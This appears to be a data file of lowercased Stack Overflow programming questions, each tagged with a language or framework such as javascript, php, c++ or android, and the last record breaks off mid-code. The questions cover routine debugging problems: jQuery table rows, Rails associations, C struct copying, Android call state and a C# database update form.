how to javascript remove duplicate item  i use javascript to get response data from firebase result. now i have list item respone like   <pre><code>luxury sedan mpv hatchback suv luxury luxury luxury luxury </code></pre>   now i want to display this respone on html  but no have duplicate more name luxury.    i try to use    <pre><code>var uniquenames = [];             $.each(names  function(i  el){                 if($.inarray(el  uniquenames) === -1) uniquenames.push(el);             }); </code></pre>   with <code>names</code> is my list respone  but it not a array. what i wrong in here  please help me to find a way to fix it   <h2>thanks a lot</h2>   you can follow data this image <a href= https://i.stack.imgur.com/q3h7o.png  rel= nofollow noreferrer >link image response here</a>,javascript
my android application lags when i switch screens  when i open one of my screens for the fist time  there is lag  but after it has been opened and i switch it runs smoothly. is there a way to load the all the images before the app starts so that it doesn t lag the first time i switch to those screens,android
how to handle this model association based on a enumeration   i have a user model  user.rb.    now i have a table that looks like:   <pre><code>user_something  user_id something_id something_type </code></pre>   the value of something_type comes from a enumeration i have in my rails code. the something_id can be an id from many other tables  meaning it represenets the id of lots of db tables  and the something_type will tell me if it is an article  or whatever.    so now say on my article.rb model  <strong>i want to create an association to the user_something table  which will list all rows where the something_type = 3  and the something_id = article_id.</strong>   <pre><code>select * from user_something where something_type = 3 and something_id = xxx </code></pre>   <em>the query would have to inner join with the users table to get me a collection of users.</em>    how can i do this,ruby-on-rails
trying to get the id to link to take to the next page  i am trying to get data from the link from this code and get an error as show below  what could be the problem with line 3 of the code    <pre><code>while ($row = mysql_fetch_assoc($result))     {         echo  &lt;a href=\ edit_employee.php $row[ employee_id_passport ]\ &gt;  . $row[ first_name ] .    . $row[ surname ] .  &lt;/a&gt; ;          echo  &lt;br /&gt; ;     } </code></pre>   the error is   <pre><code>parse error: syntax error  unexpected t_encapsed_and_whitespace  expecting t_string or t_variable or t_num_string in /library/webserver/documents/practice/employee/view_employee.php on line 14  </code></pre>,php
uiimagepickercontroller in ios7 snapshotting a view that has not been rendered results in an empty snapshot  when i am using uiimagepickercontroller in ios7.0.3 it seems to throw an error  snapshotting a view that has not been rendered results in an empty snapshot . my code is shown below   <pre><code>-(void) showcamera {     if ([uiimagepickercontroller issourcetypeavailable:uiimagepickercontrollersourcetypecamera])     {         uiimagepickercontroller *imagepicker = [[uiimagepickercontroller alloc] init];         imagepicker.delegate = self;         imagepicker.sourcetype = uiimagepickercontrollersourcetypecamera;         imagepicker.showscameracontrols = yes;          [self presentviewcontroller:imagepicker animated:yes completion:nil];     } } </code></pre>   delegate method is   <pre><code>- (void) imagepickercontroller:(uiimagepickercontroller *)picker didfinishpickingmediawithinfo:(nsdictionary *)info {      [self dismissviewcontrolleranimated:yes                              completion:nil];      nsstring *mediatype = info[uiimagepickercontrollermediatype];         uiimage *image = nil;     if ([mediatype isequaltostring:(__bridge nsstring *)kuttypeimage])     {          image = info [                        uiimagepickercontrolleroriginalimage];      }       if(picletimage != nil)     {         self.imageview.image = image;      }  } </code></pre>   i dont know whats wrong here but this seems to be working fine on ipad. i read through good number of articles but did not get a solution for this . i verified in instruments and seems to be a memory leak happening during camera initialization or once the picture is captured. i have been stuck with this for past 4 days   can some one can help me out as what is going wrong and also a possible solution for this.,ios
error: /sourcecache/googlemobilemaps_sim/googlemobilemaps-263.5/googlenav/mac/loader.mm:231 server returned error: 403  i m working as iphone developer. i ve a problem that in my mapview when ever i want to show location in google map it show me error: /sourcecache/googlemobilemaps_sim/googlemobilemaps-263.5/googlenav/mac/loader.mm:231 server returned error: 403 with square box screen. i got this question in stack overflow but that answer is not working for me. please some one help me.,iphone
class is not appending to the button using jquery  i have a button on my table. so for <strong>add button</strong> i am trying to add the button class <code>btn-success</code> to it. then when it changes to <strong>remove</strong> on the other table have the class <code>btn-remove</code>    this is my jquery:   <pre><code>var table1 = $( #exclude-table );     var table2 = $( #include-table );     table1.on( click    #addcontractbtn   function () {         var row = $(this).closest( tr );         $(this).text( remove ).addclass( btn-danger );         table2.append(row);     })     table2.on( click    #addcontractbtn   function () {         var row = $(this).closest( tr );         $(this).text( add ).addclass( btn-success );         table1.append(row);     }) </code></pre>   <strong>html</strong>   <pre><code>`&lt;table class= table table-striped table-hover datatable cataloguecontractstable admin-form theme-primary  cellspacing= 0  width= 100%  role= grid &gt;         &lt;thead id= tableheader &gt;             &lt;tr&gt;                 &lt;th class= bg-white &gt;name&lt;/th&gt;                 &lt;th class= bg-white &gt;contract type&lt;/th&gt;                 &lt;th class= hidden-xs bg-white &gt;start date&lt;/th&gt;                 &lt;th class= hidden-xs bg-white &gt;end date&lt;/th&gt;                 &lt;th class= hidden-xs bg-white &gt;termination date&lt;/th&gt;                 &lt;th class= hidden-xs bg-white text-center &gt;action&lt;/th&gt;             &lt;/tr&gt;         &lt;/thead&gt;         &lt;tbody id= exclude-table &gt;                 &lt;tr class=  &gt;                     &lt;td&gt;                         another contract                     &lt;/td&gt;                     &lt;td&gt;                         neighbouring rights agreement                     &lt;/td&gt;                     &lt;td class= hidden-xs &gt;                         2018/07/05                     &lt;/td&gt;                     &lt;td class= hidden-xs &gt; 2018/10/30                  &lt;/td&gt;                     &lt;td class= hidden-xs &gt;                     &lt;/td&gt;                     &lt;td class= updatetablerow text-center &gt;                         &lt;button class= btn br2 btn-xs fs12 table-btn  id= addcontractbtn &gt;add&lt;/button&gt;                     &lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr class=  &gt;                     &lt;td&gt;                         test contract                     &lt;/td&gt;                     &lt;td&gt;                         publishing                     &lt;/td&gt;                     &lt;td class= hidden-xs &gt;                         2018/07/05                     &lt;/td&gt;                     &lt;td class= hidden-xs &gt; 2018/09/30                  &lt;/td&gt;                     &lt;td class= hidden-xs &gt;                     &lt;/td&gt;                     &lt;td class= updatetablerow text-center &gt;                         &lt;button class= btn br2 btn-xs fs12 table-btn  id= addcontractbtn &gt;add&lt;/button&gt;                     &lt;/td&gt;                 &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt;                                              &lt;/div&gt;                                         &lt;/fieldset&gt;                                     &lt;/div&gt;                                 &lt;/div&gt;                             &lt;/div&gt;                             &lt;div class= col-sm-6 &gt;                                  &lt;div class= panel &gt;                                     &lt;div class= panel-heading &gt;                                         &lt;span class= panel-title &gt;                                             &lt;i class= fa fa-usd &gt;&lt;/i&gt;&amp;nbsp;linked                                         &lt;/span&gt;                                          &lt;div class= widget-menu pull-right mr10 &gt;                                             &lt;input type= text  class= form-control  id= tablesearch  placeholder= search contract name &gt;                                         &lt;/div&gt;                                     &lt;/div&gt;                                      &lt;div class= panel-body pn &gt;                                         &lt;fieldset&gt;                                             &lt;legend style= display: none &gt;select contracts form&lt;/legend&gt;                                              &lt;div class= panel panel-visible mbn  id= tablecontainer &gt;                                                 &lt;div id= include-table-scroller &gt;     &lt;table class= table table-striped table-hover datatable cataloguecontractstable admin-form theme-primary  cellspacing= 0  width= 100%  role= grid &gt;         &lt;thead id= tableheader &gt;             &lt;tr&gt;                 &lt;th class= bg-white &gt;name&lt;/th&gt;                 &lt;th class= bg-white &gt;contract type&lt;/th&gt;                 &lt;th class= hidden-xs bg-white &gt;start date&lt;/th&gt;                 &lt;th class= hidden-xs bg-white &gt;termination date&lt;/th&gt;                 &lt;th class= hidden-xs bg-white text-center &gt;action&lt;/th&gt;             &lt;/tr&gt;         &lt;/thead&gt;         &lt;tbody id= include-table &gt;          &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/fieldset&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;         &lt;div class= text-center &gt;             &lt;input type= button  class= btn btn-primary  id= cancelform  value= cancel  /&gt;             &lt;input type= submit  class= btn btn-primary  id= submitform  value= create  /&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/article&gt;` </code></pre>,jquery
"input loses placeholder after double-click  on click placeholder disappears  on blur it reappears  but if double-click happens instead of 1 click placeholder just disappears forever  turning off double-click default doesn t help either. is it somehow possible to treat double-click as normal click  or is it supposed to destroy placehoder     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var input = document.getelementsbytagname( input )[0];
 input.onclick = function() {
   p_holder = this.placeholder;
   this.placeholder =   ;
 }
 
 input.onblur = function() {
   this.placeholder = p_holder;
 }
 
 input.ondblclick = function(e) {
   e.preventdefault();
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input type= text  placeholder= text goes here &gt;</code></pre>
 </div>
 </div>",javascript
how to close parent activity within child activity   how do i close a parent activity from a child activity,android
"rotate elements using same object  in below example i want to rotate elements using insertbefore  i mean every time i click the last object should be moved to first using insertbefore.    here is simple example     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$elems = $( .parent ).find( div );
 
 $( body ).click(function() {
   $elems = $elems;
   $elems.eq(4).insertbefore($elems.eq(0))
   console.log( clicked );
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div class= parent &gt;
   &lt;div&gt;1&lt;/div&gt;
   &lt;div&gt;2&lt;/div&gt;
   &lt;div&gt;3&lt;/div&gt;
   &lt;div&gt;4&lt;/div&gt;
   &lt;div&gt;5&lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     as you can see after clicking first time  every single time same elements gets referenced and inserted before. is it possible to use reference dom with same object  as this is really simplified example of complex problem  and it would help a lot if i can use variable instead of using jquery selector every time.",jquery
asp.net httpcontext session pipeline  i want to use httpcontext.current.items while my request is active and store a hashtable in it until the end of the request.      i need to know where in the global.asax file i can add the httpcontext.current.items(ht) into the session...    i have tried many different areas in the asax  with no luck.    this is an asp.net 3.5 app  but 95% of the calls are made with ajax - in case that makes a difference...    thanx jerry,asp.net
strange behaviour in a c code under gcc 4.4.3  i came across this piece of code today while tutoring some students in a c programming language course. the exercise asked to implement two functions. the first one scans input from a user and the second displays what has been previously scanned. the code i came across is the following:   <hr>  <pre><code>#include &lt;stdio.h&gt;  void myinput(int i int n) {   int cpt;   int tab[n];       for ( cpt=0; cpt&lt;n; cpt++)   {     printf( enter a number : );     scanf( %d  &amp;i);      tab[cpt]=i;    }  }    void mydisp (int n) {   int tab[n];         int cpt;    for ( cpt=0; cpt &lt;n; cpt++)   {     printf( %d    tab[cpt]);    }  }  int main() {   int n; int i;   printf(  entrer the numbers of elements you want: \n );   scanf( %d \n  &amp;n);   int tab[n];   myinput(i n);            mydisp(n); } </code></pre>  <hr>   although this code is full of inconsistencies  it does actually work under gcc 4.4.3: it displays the numbers that have been input!!!!!! does anyone understands how come these code works     thanks very much,c
plus equals returning error in c++  i m having problems with the  +=  in this code. i can t figure out why the compiler complains  returning the error  expected a  ;  . i m sure this is a really easy fix but i d be really grateful if someone could let me know where i m going wrong.   <pre><code>#define _use_math_defines  #include &lt;iostream&gt;; #include &lt;cmath&gt;; using namespace std;   double r = 15; double qr = 61.17; double a = 2.47e08; double tp = 447; double q = 10000; double t = 0; double hb = 0; double hbnew = 0; int t1 = 300; int t2 = 400; double ph_tot = 0;  int main() {       for (t = 0; t &lt; tp; t++) {          double hb = (0.5*r + ((qr / ((a*r) / tp)*t)));         double angle = t / (2 * m_pi);         double hm = cos(angle);           if (t1 &lt; t &amp;&amp; t &lt; t2) {             double hbnew = hb - (q / ((a*r) / tp)*t);             double ph2 = 9180 * (hbnew - hm)*q;             double ph_tot += ph2;             cout &lt;&lt;  power generated  &lt;&lt; ph2 &lt;&lt; endl;          }          else {             double hbnew = hb;         }       }  system( pause ); return 0;  } </code></pre>,c++
how to take the root of a very large number  <pre><code>given x=4 and y=1296; we need to solve for z in z^x=y;  we can calculate z=6 in various ways; </code></pre>   question is how do i find z if y is a very large number greater than 10^100  i obviously can t store that number as int  so how would i go about calculating z     c++ implementation would be nice  if not  any solution will work.,c++
how to select data from a table row with jquery  i am trying to extract data in a row (i only need one column actually) while pressing the input button in the row. i used:   <pre><code>$(document).ready(function() {   var ttl_emp = $( #no_emp ).text();   var ttl_sal = $( #tl_sal ).text();    $( #wtable ).on( click    input   function() {     var rdata = $(this).parents( tr td:nth-child(8) ).text();      alert(rdata);     ttl_sal = ttl_sal - c_emp_netsal;     $(this).parents( tr ).remove();     $( #no_emp ).text(ttl_emp - 1);     ttl_emp = ttl_emp - 1;      $( #tl_sal ).text(ttl_sal);   }); }); </code></pre>   but failed and the console mentions undefined data. <code>wtable</code> is the id of table.,jquery
solving  welcome to code jam  from google code jam 2009  i am trying to solve the following code jam question ive made some progress but for few cases my code give wrong outputs.. <a href= http://code.google.com/codejam/contest/90101/dashboard#s=p2  rel= nofollow >welcome to code jam</a>    so i stumbled on a solution by dev  rem  from russia. i ve no idea how his/her solution is working correctly.. the code...   <pre><code>const string target =  welcome to code jam ;  char buf[1&lt;&lt;20];  int main() {         freopen( input.txt    rt   stdin);         freopen( output.txt    wt   stdout);          gets(buf);         for(test  1  atoi(buf)) {                 gets(buf);                 string s(buf);                 int n = size(s);                 int k = size(target);                 vector&lt;vector&lt;int&gt; &gt; dp(n+1  vector&lt;int&gt;(k+1));                 dp[0][0] = 1;                 const int mod = 10000;                 assert(k == 19);                 rep(i  n) rep(j  k+1) {// whats happening here                         dp[i+1][j] = (dp[i+1][j]+dp[i][j])%mod;                         if (j &lt; k &amp;&amp; s[i] == target[j])                                 dp[i+1][j+1] = (dp[i+1][j+1]+dp[i][j])%mod;                 }                 printf( case #%d: %04d\n   test  dp[n][k]);         }          exit(0); }//credit rem </code></pre>   can somebody explain whats happening in the two loops     thanks.,c++
define a function returning struct pointer  please bear with me  i m from other language and newbie to c and learning it from <a href= http://c.learncodethehardway.org/book/learn-c-the-hard-way.html >http://c.learncodethehardway.org/book/learn-c-the-hard-way.html</a>   <pre><code>struct person {     char *name;     int age;     int height;     int weight; };  struct person *person_create(char *name  int age  int height  int weight) {     struct person *who = malloc(sizeof(struct person));     assert(who != null);      who-&gt;name = strdup(name);     who-&gt;age = age;     who-&gt;height = height;     who-&gt;weight = weight;      return who; } </code></pre>   i understand the second person_create function returns a pointer of struct person. i don t understand is(may be because i m from other language  erlang  ruby)  why does it define it as    <pre><code>struct person *person_create(char *name  int age  int height  int weight) </code></pre>   not    <pre><code>struct person person_create(char *name  int age  int height  int weight) </code></pre>   and is there other way to define a function to return a structure     sorry if this question is too basic.,c
what s the easiest way to find out if two files are different programmatically   what s the <strong>easiest</strong> way to find out if two text files are different programmatically  given two files i just need to know whether they are different or not. this is for a quick tool to help with a particularly nasty merge (switched languages from vb to c# in one branch (yay!) and made many changes in the other)  it won t be going into production.    possible solutions:   <ol> <li>hash both files and compare the hash</li> <li>pull the files in and just do a string compare</li> <li>call out to an external diff tool (unfortunately winmerge doesn t have a cli for this)</li> </ol>   if possible ignoring white space would be awesome but i don t care that much about it. the main thing is this it needs to be quick and easy.    i m using .net 3.5sp1 by the way. thanks for any ideas or pointers.,.net
how to replace the alphabetically smallest letter by 1  the next smallest by 2 but do not discard multiple occurrences of a letter   i am using python 3 and i want to write a function that takes a string of all capital letters  so suppose <code>s =  veneer </code>  and gives me the following output <code> 614235 </code>.    the function i have so far is:   <pre><code>def key2(s):     new=       for ch in s:         acc=0         for temp in s:             if temp&lt;=ch:                 acc+=1         new+=str(acc)     return(new) </code></pre>   if <code>s ==  veneer </code> then <code>new ==  634335 </code>. if <code>s</code> contains no duplicates  the code works perfectly.     i am stuck on how to edit the code to get the output stated in the beginning.,python
how to know the outgoing call has answered or not   i want to know the outgoing call is answered or not in android program.i just want to know the outgoing call has answered or not.i am new in android.please help me to solve this problem.for getting the call answered time i use this.    i want to know the outgoing call is answered or not in android program. i just want to know the outgoing call has answered or not. i am new in android. please help me to solve this problem. for getting the call answered time i use this.   <pre><code>    broadcastreceiver mreceiver = new broadcastreceiver() {     @override     public void onreceive(context context  intent intent) {         if (intent.getaction().equals( android.intent.action.new_outgoing_call )) {              savednumber = intent.getextras().getstring( android.intent.extra.phone_number );           } else {             string statestr = intent.getextras().getstring(telephonymanager.extra_state);             string number = intent.getextras().getstring(telephonymanager.extra_incoming_number);             int state = 0;             if (statestr.equals(telephonymanager.extra_state_idle)) {                 state = telephonymanager.call_state_idle;             } else if (statestr.equals(telephonymanager.extra_state_offhook)) {                 state = telephonymanager.call_state_offhook;             } else if (statestr.equals(telephonymanager.extra_state_ringing)) {                 state = telephonymanager.call_state_ringing;             }              oncallstatechanged(context  state  number);         }     } };   protected void onincomingcallstarted(context ctx  string number  date start) { }  protected void onoutgoingcallstarted(context ctx  string number  date start) {   }  protected void onincomingcallended(context ctx  string number  date start  date end) { }  protected void onoutgoingcallended(context ctx  string number  date start  date end) {      simpledateformat localdateformat = new simpledateformat( hh:mm:ss );     startime = localdateformat.format(start);     endtime = localdateformat.format(end);      long aa = start.gettime();     long bb = end.gettime();     long cc = bb - aa;     long diffminutes = cc / 1000 % 60;     duration = long.tostring(diffminutes);      bundle bundle = new bundle();     bundle.putstring( start   startime);     bundle.putstring( end   endtime);     bundle.putstring( duration   duration);      call_end dfragment = new call_end();     dfragment.setarguments(bundle);     dfragment.show(fragmentmanager   dialog fragment );  }  protected void onmissedcall(context ctx  string number  date start) { }  public void oncallstatechanged(context context  int state  string number) {     if (laststate == state) {         //no change  debounce extras         return;     }     switch (state) {           case telephonymanager.call_state_ringing:             isincoming = true;             callstarttime = new date();             savednumber = number;             onincomingcallstarted(context  number  callstarttime);             break;         case telephonymanager.call_state_offhook:              callstarttime = new date();               onoutgoingcallstarted(context  savednumber  callstarttime);              //transition of ringing-&gt;offhook are pickups of incoming calls.  nothing done on them             if (laststate != telephonymanager.call_state_ringing) {                 isincoming = false;                 callstarttime = new date();                 onoutgoingcallstarted(context  savednumber  callstarttime);     }             break;         case telephonymanager.call_state_idle:             //went to idle-  this is the end of a call.  what type depends on previous state(s)             if (laststate == telephonymanager.call_state_ringing) {                 //ring but no pickup-  a miss                 onmissedcall(context  savednumber  callstarttime);             } else if (isincoming) {                 onincomingcallended(context  savednumber  callstarttime  new date());             } else {                 onoutgoingcallended(context  savednumber  callstarttime  new date());             }             break;     }     laststate = state; } </code></pre>,android
about iterator and const problem in c++ <pre><code>class logmanager {   private:     mutable mapmanagermutex mapmutex;      typedef std::map&lt;std::string  logstorage*&gt; filenametostorageclass;     filenametostorageclass  m_mapfilenametologstrg;    public:     int write( const string&amp; strfilename  char* text ) const;  };  int logmanager::write( const string &amp;strfilename  char* text ) const {    mapmanagermutex::scoped_lock lock(mapmutex);    filenametostorageclass::iterator iter;    iter = m_mapfilenametologstrg.find(strfilename);    if(iter != m_mapfilenametologstrg.end())    {      // do some thing.    }    else    {      return -1;    }    return 0; } </code></pre>   above code compiles if i don t have const at end of write function. if i add const at end i am getting following error   <pre><code>d:/logmanager.cpp:133: error: no match for  operator=  in  iter = ((const rtsinfrastructure::rtscommon::diagnostics::logmanager*)this)- cc: c:/qnx650/host/win32/x86/usr/lib/gcc/i486-pc-nto-qnx6.5.0/4.4.2/cc1plus caught signal 1 </code></pre>   does any body know why we are seeing this,c++
how to create a test query from a function   having trouble producing more than one row from this query. i want to include more samples in my test query. maybe 2 more names to test so that my output. i think i could use union all but not sure.    this consist of 3 columns and 1 row  but i want 2 more samples adding 2 more rows:   <pre><code> select tstname  anticipatedvalue  a_testbed.nameformat( f    clark    john ) as   name   from (    select  clark  john  as tstname   john clark  as anticipatedvalue ) as tsttbl# </code></pre>   the function has three input parameters. the first is a  f  which formats names as firstname lastname  the second and third parameters are strings which are the last and first names.,mysql
how can i setup this structure without corrupting my stack   i need to setup the following structures and print out the content of the addr-array.   <pre><code>typedef struct {     uint8                   len;     uint8                   ch;     uint8                   cmd; } attr_packed response_r;  typedef struct {     response_r          rspr;     uint8               addr[sizeof_addr]; } attr_packed response_addr; </code></pre>   however  my current solution is corrupting my stack around the variable <code>rspr</code>. as far as i know  it is because <code>addr</code> is an array and i am setting it up wrong. but i am not sure if so and why. on the debugger it looks ok  until i get the error-message  while exiting the function.   <pre><code>//this code has to be ansi-c void    onresponse(uint8 *ppkt){  response_r rspr; //ppkt[0] holds the lenght of the received response  which equals to sizeof(rspadr) //before this was ok  but i guess  now it is not  because response_r stores just the //pointer  not the whole array memcpy(&amp;rspr ppkt ppkt[0]-sizeof(rspr));              switch(rspr.cmd){  case cmd_read_addr:    response_addr rspadr;    memcpy(&amp;rspadr ppkt ppkt[0]);    //nevermind the cout  this is for debug only         cout &lt;&lt;  addr:   &lt;&lt; endl;                    printf( %02x  rspadr.addr[0]);    break;  default:    break;  } } </code></pre>   <code>rspadr</code> gets the right data  so why am i corrupting my stack with this code     <em>edit</em>    <code>memcpy</code> uses <code>ppkt</code> to determine the size  because <code>ppkt[0]</code> holds the size of the transmitted response-bytes. but maybe there is a point here  and i should change that to directly use the structure size. however - it is not the main problem here.    the main troublemaker is  how do i convert my data from the <code>ppkt[]</code> buffer into my structures  when one of these structures has an array  like response_addr has     raw-view of the <code>ppkt[128]</code> array   <pre><code>[0x0] = 0x09 [0x1] = 0x00 [0x2] = 0x02 [0x3] = 0x00 [0x4] = 0x16 [0x5] = 0x01 [0x6] = 0x02 [0x7] = 0x03 [0x8] = 0x04  [0xa] = 0x00 [0xb] = 0x00 [0xc] = 0x00 ... [0x127] = 0x00 </code></pre>   this above is the input i get. now  i need to setup an <code>response_r</code> object  in order to select a rountine determined by the <code>cmd</code> section (represented by ppkt[2]) and an <code>response_addr</code> object in order to get the address  which would be <code>001601020304</code>.    i would very much like to be able to use something like <code>rsp.cmd</code> and <code>rspadr.addr[0]</code>.,c
how to get the average songs practiced per session mysql  i have a table: <code>songs_practices</code> with foreign keys for <code>song_id</code>  <code>artist_id</code> and <code>practice_id</code>. i m trying to get the average amount of songs that each artist practices per practice session. in other words  if we practiced 100 times this year  how many songs did we average per practice. this is what i ve tried but keep getting an error. the count statement that is inside the <code>avg()</code> function returns the correct count  but when placed inside the <code>avg()</code> function i get an error.   <pre><code>select avg(select count( song_id ) as numberofsongs from songs_practices where artist_id =1 group by practice_id) as averagejamsperpractice </code></pre>   i did try to remove the alias  numberofsongs  but that didn t help.,mysql
html controls in asp.net server side or client side   does the <strong>html controls</strong> in asp.net works in server side as well as client side  or it is for client side only,asp.net
php exec delete files from rar  i m trying to remove a file from a rar archive. if you run <code>/usr/bin/rar d rar_file.rar del.txt</code> this command deletes the file del.txt from rar_file.rar    i m tring to run this in php using exec()  but it s not working.   <pre><code>&lt; php $file = realpath( temp/temp.rar ); chmod($file  0777); //make sure i can handle the file if(file_exists($file)){ //make sure that the file exists     $rar = escapeshellarg($file);     echo  /usr/bin/rar d $rar teste.txt ; //lets see the command     exec( /usr/bin/rar d $rar teste.txt   $r); } echo  \n ; print_r($r);  &gt; </code></pre>   here s my output:   <pre><code>/usr/bin/rar d  /var/www/temp/temp.rar  teste.txt array (     [0] =&gt;      [1] =&gt; rar 3.90 beta 2   copyright (c) 1993-2009 alexander roshal   3 jun 2009     [2] =&gt; shareware version         type rar -  for help ) </code></pre>   didn t delete the teste.txt file from the rar.    but  i copied the command <code>/usr/bin/rar d  /var/www/temp/temp.rar  teste.txt</code> and executed in terminal. here s my output:   <pre><code>stive@stive-laptop:~$ /usr/bin/rar d  /var/www//temp/temp.rar  teste.txt  rar 3.90 beta 2   copyright (c) 1993-2009 alexander roshal   3 jun 2009 shareware version         type rar -  for help  deleting from /var/www/temp/temp.rar deleting teste.txt done </code></pre>   works perfectly  but in php exec didn t. i don t think it s file permissions cause the user www-data created the rar file (i created before) and i set the permissions to 777 without problems.    i m using linux  sure.    what i m doing wrong  thanks!,php
make a div focused and everything else dark using angularjs  i need this widget for angular: <a href= https://github.com/zzarcon/focusable  rel= nofollow >https://github.com/zzarcon/focusable</a>    i need to be able to focus a div  make everything outside it dark and not able to click outside. i need to draw my user attention only to the div.    is that possible,angularjs
rails is still trying to load a deleted asset  i have a rails 4 project. according to this <a href= https://stackoverflow.com/questions/25121933/source-maps-in-ruby-on-rails-through-sprockets >post</a>   rails 4 does not have source maps either. as far as i know  and as of today  this will only be part of rails 5.      i guess i have to live without source maps in rails 4 if i am using sprockets for precompiling. the issue is i included a vendor jquery library  which included its own source map. the location was in <code>vendor/assets/javascripts/jquery.nanoscroller.js.map</code>.    every time i loaded page  i would get this error:   <pre><code>actioncontroller::routingerror (no route matches [get]  /assets/jquery.nanoscroller.js.map ): </code></pre>   it was annoying me so i deleted the file from vendor. now that file does not exist anywhere. there is no .map extensions in any of the assets directories of my project.    i then deleted <code>public/assets</code> folder to ensure that rails is not serving from the public cached assets. it should now use rack middleware to compile assets on each request and since that .map file is gone  it should not be compiled. however  after deleting the public/assets and restarting server  i still get this error:   <pre><code>actioncontroller::routingerror (no route matches [get]  /assets/jquery.nanoscroller.js.map ): </code></pre>   i even tried adding the following to development just to reassure it is set to false:   <pre><code>config.serve_static_files = false </code></pre>   (with this setting  it should not be serving files from public/assets).    what am i missing here,ruby-on-rails
ios performing calculations with large numbers  i am just multiplying two very big value in ios.   <pre><code>            value 1 999999999999             value 2 99999 </code></pre>   i am using the data type as double long i.e long long and this works for only too big values but not for small values like 10*23 something like that i get different answers example   <pre><code>           10.0*111.5 actual value in calculator is 1115 but i wat i get is 1110 </code></pre>   please help me and i also want to roundof my answer to  3places like %.3f,ios
aws lambda function questions  i m looking at an example for python aws <code>lambda</code> function and i had a few questions.   <ol> <li> for this method:   <pre><code>def create_favorite_color_attributes(favorite_color):     return { favoritecolor : favorite_color} </code></pre>   what does this colon do in the <code>return</code> statement  </li> <li> also  for this (part) method:   <pre><code>def get_news(intent  session):     card_title = intent[ name ]     session_attributes = {}     should_end_session = false      if  color  in intent[ slots ]:         favorite_color = intent[ slots ][ color ][ value ]         session_attributes = create_favorite_color_attributes(favorite_color) </code></pre>   where is <code> color </code> defined  it looks like <code> color </code> is equal to what a person would respond to alexa saying their favorite color. or is it checking of <code> color </code> is a slot category  if the second  then for <code>favorite_color = intent[ slots ][ color ][ value ]</code>  where is <code> value </code> defined  </li> </ol>   also if anyone has any tutorials for python amazon <code>lamdba</code> functions for alexa skills  please let me know.,python
how to avoid system overlay view being closed  my activity creates a system overlay view on the click of a button. i expect this view to remain visible over everything else till i close it on another button click in the activity.    the problem is android automatically kills that view in a few seconds if i open couple of other applications. i know this is the expected behaviour of android to manage it s resources. but is there a way to tell android not to close this view  i tried creating the overlay in an intentservice  but it made no difference.    <strong>view creation code :</strong>   <pre><code>mframelayout = new framelayout(mcontext); mframelayout.setbackgroundcolor(mcontext.getresources().getcolor(r.color.black)); windowmanager.layoutparams params = new windowmanager.layoutparams(         windowmanager.layoutparams.match_parent          windowmanager.layoutparams.match_parent          windowmanager.layoutparams.type_system_overlay          windowmanager.layoutparams.flag_layout_in_screen          pixelformat.translucent         ); windowmanager windowmanager = (windowmanager) mcontext.getsystemservice(context.window_service); windowmanager.addview(mframelayout  params); </code></pre>,android
how to instantiate a java parameter type  i have the following abstract class:   <pre><code>public abstract class abstractrepository&lt;o  pk extends serializable&gt;{  protected eventdispatcher eventdispatcher;  protected genericdao&lt;o pk&gt; dao;  protected applicationpublisher publisher;  protected state state;  protected internalpublisher internalpublisher;  @postconstruct private void initialise(){     eventdispatcher.addhandler(this); }  protected &lt;t extends genericdao&lt;o pk&gt;&gt; abstractrepository(t dao  state state  applicationpublisher publisher  internalpublisher internalpublisher  eventdispatcher eventdispatcher){     this.dao = dao;     this.state = state;     this.publisher = publisher;     this.internalpublisher = internalpublisher;     this.eventdispatcher = eventdispatcher; }   @handleevent private void handledatacontributorcreatedevent(datacontributordeletedevent event){      list&lt;o&gt; stats = new arraylist&lt;o&gt;();      for(int x = -1 ; x &lt; 50 ; x++){          for (int y = 0 ; y &lt; 360 ; y = y + 5){             stats.add(**need to instantiate paramater type o here**);         }         }     dao.save(stats); } </code></pre>   }    within the event handler method - i want to be able to create an instance of the parameter type  o - but not sure how do this. any help regarding the best approach would be appreciated.,java
update gui in a loop  i want to print  ms  value in textbox1 by clicking the button firstly  then it should wait for 100ms (one by one)  then it show next value.    but it s showing only the last value by clicking button  still after coding <code>thread.sleep(100)</code>. it should show the value like stop watch.    <pre><code>private void button1_click(object sender  eventargs e) {                  int ms = 00;          for (ms = 0; ms &lt; 10; ms++)     {                                    textbox1.text = ms.tostring();                             thread.sleep(100);         textbox1.text =   ;     }          } </code></pre>,c#
why can not update data in form   in the following code after pressing the update information in the text box again and does not change the information in the database. please guide me.   <pre><code>    protected void page_load(object sender  eventargs e)     {         string connectionstring = configurationmanager.connectionstrings[ tel ].connectionstring;          sqlconnection telconnection = new sqlconnection(connectionstring);         string strselect =  select * from telephon where  id= @id  ;         sqlcommand telcommand = new sqlcommand(strselect telconnection);         telcommand.parameters.addwithvalue( @id  request.querystring[ code ]);         telconnection.open();         sqldatareader dr = telcommand.executereader();         dr.read();         txtcode.text = dr[ id ].tostring();         txtname.text = dr[ telname ].tostring();         txtfamily.text = dr[ telfamily ].tostring();         txtorgan.text = dr[ telorgan ].tostring();         txttel1.text = dr[ teltel1 ].tostring();         txttel2.text = dr[ teltel2 ].tostring();         txtmob1.text = dr[ telmob1 ].tostring();         txtfax.text = dr[ telfax ].tostring();         dr.close();         telconnection.close();                }      protected void btnreg_click(object sender  eventargs e)     {         string connectionstring = configurationmanager.connectionstrings[ tel ].connectionstring;         sqlconnection telconnection = new sqlconnection(connectionstring);         sqlcommand telcommand = new sqlcommand();         telcommand.connection = telconnection;         telconnection.open();         telcommand.commandtext =  update telephon set [telname]=   + txtname.text +      [telfamily]=   